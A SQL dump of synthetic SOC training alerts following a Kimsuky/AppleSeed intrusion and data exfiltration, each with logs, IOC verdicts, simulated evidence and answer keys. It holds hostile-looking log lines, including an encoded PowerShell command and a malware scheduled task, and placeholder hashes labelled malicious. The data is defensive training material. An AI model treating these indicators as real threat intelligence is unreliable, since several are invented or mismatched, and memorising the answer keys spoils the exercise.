INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1344, 'Data Staging for Exfiltration', 'high', 'File Integrity Monitoring', 'Valuable data from compromised systems is identified and staged for exfiltration, indicating an imminent data breach. The attacker has aggregated sensitive files in a directory for easy transfer.', 'Exfiltration', 'T1074: Data Staged', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:48:23Z\",\"event_id\":\"FIM202310251448\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"username\":\"john.doe\",\"file_path\":\"C:\\\\Users\\\\john.doe\\\\Documents\\\\Sensitive\\\\staged_data.zip\",\"file_hash\":\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\",\"operation\":\"file_write\",\"status\":\"success\",\"comments\":\"Sensitive data staged for exfiltration detected.\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous exfiltration attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local user machine.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected associated with this user.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\john.doe\\\\Documents\\\\Sensitive\\\\staged_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"File created as a staging point for data exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.843Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:48:23Z\\\",\\\"event_id\\\":\\\"FIM202310251448\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"john.doe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\john.doe\\\\\\\\Documents\\\\\\\\Sensitive\\\\\\\\staged_data.zip\\\",\\\"file_hash\\\":\\\"3a5f6c9e8b7d9ab2c3d4e5f6a7b8c9d0\\\",\\\"operation\\\":\\\"file_write\\\",\\\"status\\\":\\\"success\\\",\\\"comments\\\":\\\"Sensitive data staged for exfiltration detected.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1345, 'Exfiltration of Sensitive Information', 'critical', 'Outbound Network Traffic Logs', 'The final step involves exfiltrating the harvested data to an external command and control server operated by Lyceum.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:01Z\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"filename\":\"confidential_data.zip\",\"hash\":\"d4c3b4f9a1b0e5d2c1f2e3a4b5c6d7e8\",\"user\":\"jdoe\",\"action\":\"ALLOW\",\"event_id\":\"EVT0001234567\",\"indicator\":\"Lyceum C2 Server\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"Known Lyceum C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d4c3b4f9a1b0e5d2c1f2e3a4b5c6d7e8\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"suspicious\",\"details\":\"File name matched with sensitive data pattern\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Active directory user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1346, 'Suspicious Email Detected', 'medium', 'Email Security Gateway', 'A seemingly benign email with a malicious attachment is flagged, marking the start of Kimsuky\'s attempt to infiltrate South Korean networks. The email contained a malicious Excel file attachment that was blocked by the email security system.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"source_email\":\"sender@maliciousdomain.com\",\"destination_email\":\"victim@organization.kr\",\"subject\":\"Urgent: Please Review Attached Document\",\"attachment\":{\"filename\":\"Q3_Report.xlsm\",\"hash\":\"9e107d9d372bb6826bd81d3542a419d6\"},\"malware_detection\":{\"signature\":\"Kimsuky_Malware\",\"result\":\"Detected\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal user system.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"sender@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address linked to multiple phishing attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Q3_Report.xlsm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File contains macro-based malware.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Kimsuky malware variant.\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected\",\"date\":\"2026-03-02T13:55:06.846Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1347, 'AppleSeed Backdoor Installation', 'high', 'Endpoint Detection and Response (EDR) System', 'The malware embedded in the attachment executes, leveraging the AppleSeed backdoor to establish a foothold within the network. An executable was detected running on the host system, which corresponds to known AppleSeed backdoor activity.', 'Malware Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:22:11Z\",\"event_id\":\"EDR-5054\",\"host_ip\":\"192.168.1.45\",\"host_name\":\"workstation-22\",\"user\":\"jdoe\",\"process_name\":\"apple_seed_installer.exe\",\"process_id\":\"4892\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\apple_seed_installer.exe\",\"signature\":\"AppleSeed Backdoor\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous AppleSeed campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with AppleSeed malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"apple_seed_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename matches known AppleSeed backdoor installer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1348, 'Persistence Mechanism Activated', 'medium', 'System Logs', 'The system has detected a scheduled task created by Kimsuky to maintain the persistence of the AppleSeed malware, ensuring continued access to the compromised system.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:23Z\",\"event_id\":\"4624\",\"user\":\"compromised_user\",\"source_ip\":\"192.168.1.105\",\"attacker_ip\":\"203.0.113.45\",\"scheduled_task_name\":\"AppleSeed_Update\",\"task_command\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\AppleSeed.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"status\":\"Task Created\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"This IP is associated with known campaigns by Kimsuky.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known variant of AppleSeed malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"AppleSeed.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable associated with AppleSeed malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"User account likely compromised to set up persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1349, 'Credential Harvesting Detected', 'high', 'Network Traffic Analysis', 'The attackers use harvested credentials to move laterally across the network, seeking sensitive information within government databases. Malicious activity involving external IP 203.0.113.45 attempting to authenticate using compromised credentials was detected.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"event_type\":\"authentication_attempt\",\"username\":\"jdoe\",\"status\":\"failed\",\"protocol\":\"RDP\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"rdp_login_attempt.log\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user within organization.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known associations with malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1350, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) System', 'Detected attempts to send large volumes of sensitive data outside the network, concluding the attack sequence as Kimsuky seeks to exfiltrate valuable intelligence.', 'Data Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"filename\":\"confidential_report.pdf\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"detection_method\":\"DLP\",\"severity\":\"high\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a corporate workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous data exfiltration attacks by Kimsuky.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document flagged by DLP system during transmission.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"clean\",\"details\":\"Known file hash, previously scanned and verified as safe.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account, potential insider threat.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 